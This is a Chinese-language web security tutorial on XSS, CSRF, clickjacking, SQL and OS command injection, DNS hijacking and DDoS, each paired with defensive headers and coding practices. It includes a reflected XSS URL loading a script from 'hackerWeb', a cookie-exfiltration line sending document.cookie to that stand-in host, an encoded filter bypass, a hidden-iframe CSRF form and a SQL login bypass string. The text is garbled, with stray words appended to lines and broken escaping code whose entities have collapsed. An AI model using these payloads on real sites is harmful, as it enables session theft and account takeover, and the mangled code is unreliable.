場景: 誘導已登錄用戶點擊有害連接(較明顯)php
連接內容:html
http://Aweb/?from=<script src="http://hackerWeb/hack.js"></script>
https://dwz.cm
http://hackerweb/hack.js
會竊取用戶登陸態信息等, 如document.cookie 利用img等html元素髮送向hackerweb發送帶有cookie信息的請求, 從而黑客後臺可獲取到登陸態信息前端
場景:mysql
在網站的評論裏(任何可以保存內容的地方)輸入帶有攻擊腳本的文本, 提交後存入數據庫, 再次渲染時攻擊腳本執行web
殺傷力較大, 至關於徹底控制網站正則表達式
document.cookie = "myweb:session=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTcxNTQxMTM5ODI2LCJfbWF4QWdlIjo4NjQwMDAwMH0="
// 直接獲取登陸態
複製代碼
var img = new Image()
img.src='http://hackerweb/img?c='+document.cookie
複製代碼
尖括號 <script>
轉義爲 <p>
不容許渲染不受信任的腳本 - 轉義html標籤 設置轉義黑名單, 白名單:sql
// 黑名單
function escape(str) {
str = str.replace(/&/g, '&');
str = str.replace(/</g, '<');
str = str.replace(/>/g, '>');
str = str.replace(/"/g, '&quto;');
str = str.replace(/'/g, ''');
str = str.replace(/`/g, '`');
str = str.replace(/\//g, '/');
return str;
}
// 白名單
const xss = require('xss');
let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>');
// -> <h1>XSS Demo</h1><script>alert("xss");</script>
console.log(html);
複製代碼
X-XSS-Protection report-uri數據庫
// ctx.set('X-XSS-Protection', 0) // 禁用XSS過濾
ctx.set('X-XSS-Protection', 1) // 默認 檢測到XSS, 清除攻擊腳本
ctx.set('X-XSS-Protection', '1;mode=block') // 檢測到XSS, 禁止加載頁面
ctx.set('X-XSS-Protection', '1;report=(Chromium only);') // 檢測到XSS,清除頁面並使用CSP report-uri 指令的功能發送違規 報告
複製代碼
測試:後端
攻擊Url: http://Aweb/?from=<script src="http://hackerWeb/hack.js"></script>
瀏覽器
當網站發如今請求裏面有腳本, 不會執行. 報錯:
The XSS Auditor refused to execute a script in 'http://Aweb/?from=<script>src="http://hackerWeb/hack.js"></script>' because its source code was found within the request. The server sent an 'X-XSS-Protection' header requesting this behavior.
!!!可是!!! 假裝一下就不行了! 如下url仍是能夠攻擊成功:
http://Aweb/?from=%3Cscript%20src=%22http://hackerWeb/hack.js%22%3E%3C/script%3E
內容安全策略Content-Security-Policy
ctx.set('Content-Security-Policy', "default-src 'self'") // 只容許加載本站資源
ctx.set('Content-Security-Policy', "img-src https://*") // 只容許加載HTTPS協議圖片
ctx.set('Content-Security-Policy', "child-src 'none'") // 不容許加載任何來源的框架
ctx.set('Content-Security-Policy', "default-src 'self'; img-src https://*; child-src 'none';") // 多條規則
複製代碼
CSP指令:
檢測到不符合安全策略的內容, 報錯:
Refused to load the script 'http://hackerWeb/hack.js' because it violates the following Content Security Policy directive: "default-src 'self'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.
Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-/sz5i86yQrlPk/hMZhdtTKsWxRVMISnvj5RnrlV7w8E='), or a nonce ('nonce-...') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.
Refused to load the image 'http://hackerWeb/img?c=_ga=GA1.1.557044541.1556580180;%20ts_uid=6282400925;%20QQLivePCVer=50190525;%20_pk_id.1.1fff=2b81c7431dcf3ca2.1554538852.13.1564828889.1564827023.;%20kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTcxNTQxMTM5ODI2LCJfbWF4QWdlIjo4NjQwMDAwMH0=' because it violates the following Content Security Policy directive: "img-src https://*".
預防cookie被竊取, 沒法經過document.cookie獲取信息, 瀏覽器依然會在請求自動帶上cookie 是預防XSS攻擊竊取用戶cookie最有效的防護手段!
// 設置Cookie時, 設置爲HttpOnly
response.addHeader('Set-Cookie', 'uid=112; Path=/; HttpOnly')
複製代碼
CSRF 利用用戶已登陸的身份, 在用戶絕不知情的狀況下,以用戶的名義完成非法操做
場景:
模擬發送請求(僞造請求), 由於普通用戶已經登陸, 模擬請求會帶上登陸態cookie, 從而能夠操做(攻擊)成功 不直接獲取cookie, 利用瀏覽器行爲, 利用登陸態
document.write(`
<form name="form" action="http://Aweb/updateText" method="post" target="csrf">
添加評論: <input type="text" name="text" value="CSRF評論.." />
</form>
`)
var iframe = document.createElement('iframe') // 靜默加載
iframe.name = 'csrf'
iframe.style.display = 'none'
document.body.appendChild(iframe)
setTimeout(function() {
document.querySelector('form').submit(); // 默默提交請求
},1000)
</script>
複製代碼
驗證Header的 Referer字段 是本站地址才容許經過
缺點:僅對Http有效, Https不發送referer
請求須要驗證碼輔助
缺點: 用戶體驗很差, 較麻煩
通常只用於關鍵請求中
攻擊者在訪問信任網站A時, 雖然瀏覽器能夠在請求中帶上cookie, 但網站A能夠不只僅經過cookie來驗證用戶身份, 同時還驗證 給用戶發送內容時生成的僞隨機數, 雙重驗證, 這個僞隨機數 不能利用瀏覽器機制自動加到cookie上, 須要在腳本里面加上, 從而讓CSRF攻擊者沒法利用僞隨機數, 也就沒法經過驗證 用於多數請求中
既不竊取cookie也不利用cookie, 視覺上欺騙用戶主動進行操做
場景:
在攻擊網站上嵌入 渲染網站A的frame, 並設置爲透明, 在攻擊網站設計一些按鈕或input 精準對準網站A的按鈕或input, 用戶操做時實際上不知道本身在網站A作了什麼, 從而達到欺騙用戶的目的
ctx.set('X-Frame-Options', 'deny') //表示該頁面不容許在 frame 中展現,即使是在相同域名的頁面中嵌套也不容許.
ctx.set('X-Frame-Options', 'sameorigin') // 表示該頁面能夠在相同域名頁面的 frame 中展現.
ctx.set('X-Frame-Options', 'allow-from: https://example.com/') // 表示該頁面能夠在指定來源的 frame 中展現. !!!(Chrome不支持 Firefox支持)
複製代碼
是一種比較原始的解決方案
if(self !== top) { // 從frame加載
self.document.body.style.display = 'NONE';// 隱藏或刪除body的內容
self.document.body.innerHTML = ''
}
複製代碼
針對數據庫的注入
場景: 輸入特殊字符串, 傳入後臺拼接SQL查詢字符串, 使其查詢結果爲真 密碼輸入 1' or '1' = '1' 後臺查詢密碼時返回 '1' = '1'的結果, 爲真
全部的查詢語句建議使用數據庫提供的參數化查詢接口,參數化的語句使用參數而不是將用戶輸入變量嵌 入到 SQL 語句中,即不要直接拼接 SQL 語句.例如 Node.js 中的 mysqljs 庫的 query 方法中的 ? 佔位參數.
後端代碼檢查輸入的數據是否符合預期格式,嚴格限制變量的類型,例如使用正則表達式進行一些匹配處理
嚴格限制Web應用的數據庫的操做權限,給此用戶提供僅僅可以知足其工做的最低權限,從而最大限度的 減小注入攻擊對數據庫的危害
對進入數據庫的特殊字符(',",,<,>,&,*,; 等)進行轉義處理,或編碼轉換.基本上全部的後端 語言都有對字符串進行轉義處理的方法,好比 lodash 的 lodash._escapehtmlchar 庫.
針對操做系統的注入 OS命令注入和SQL注入差很少,只不過SQL注入是針對數據庫的,而OS命令注入是針對操做系統的. OS命令注入攻擊指 經過Web應用,執行非法的操做系統命令達到攻擊的目的. 只要在能調用Shell函數的地方就有存在被攻擊的風險.倘 若調用Shell時存在疏漏,就能夠執行插入的非法命令.
場景:
system命令注入
相似 SQL注入防護方法
顧名思義, DNS服務器(DNS解析各個步驟)被篡改,修改了域名解析的結果,使得訪問到的不是預期的ip
運營商劫持 防護: 此時大概只能升級HTTPS了
不是一種攻擊,而是一大類攻擊的總稱.它有幾十種類型,新的攻擊方法還在不斷髮明出來.網站運行的各 個環節,均可以是攻擊目標.只要把一個環節攻破,使得整個流程跑不起來,就達到了癱瘓服務的目的
此攻擊經過向目標發送具備欺騙性源IP地址的大量TCP"初始鏈接請求"SYN數據包來利用TCP握手.目標機器 響應每一個鏈接請求,而後等待握手中的最後一步,這一步從未發生過,耗盡了進程中的目標資源.
此攻擊相似於同時在多個不一樣計算機上反覆按Web瀏覽器中的刷新 - 大量HTTP請求氾濫服務器,致使拒絕服 務.
備份網站不必定是全功能的,若是能作到全靜態瀏覽,就能知足需求.最低限度應該能夠顯示公告,告訴用戶, 網站出了問題,正在全力搶修.
硬件 服務器 防火牆
提升犯罪成本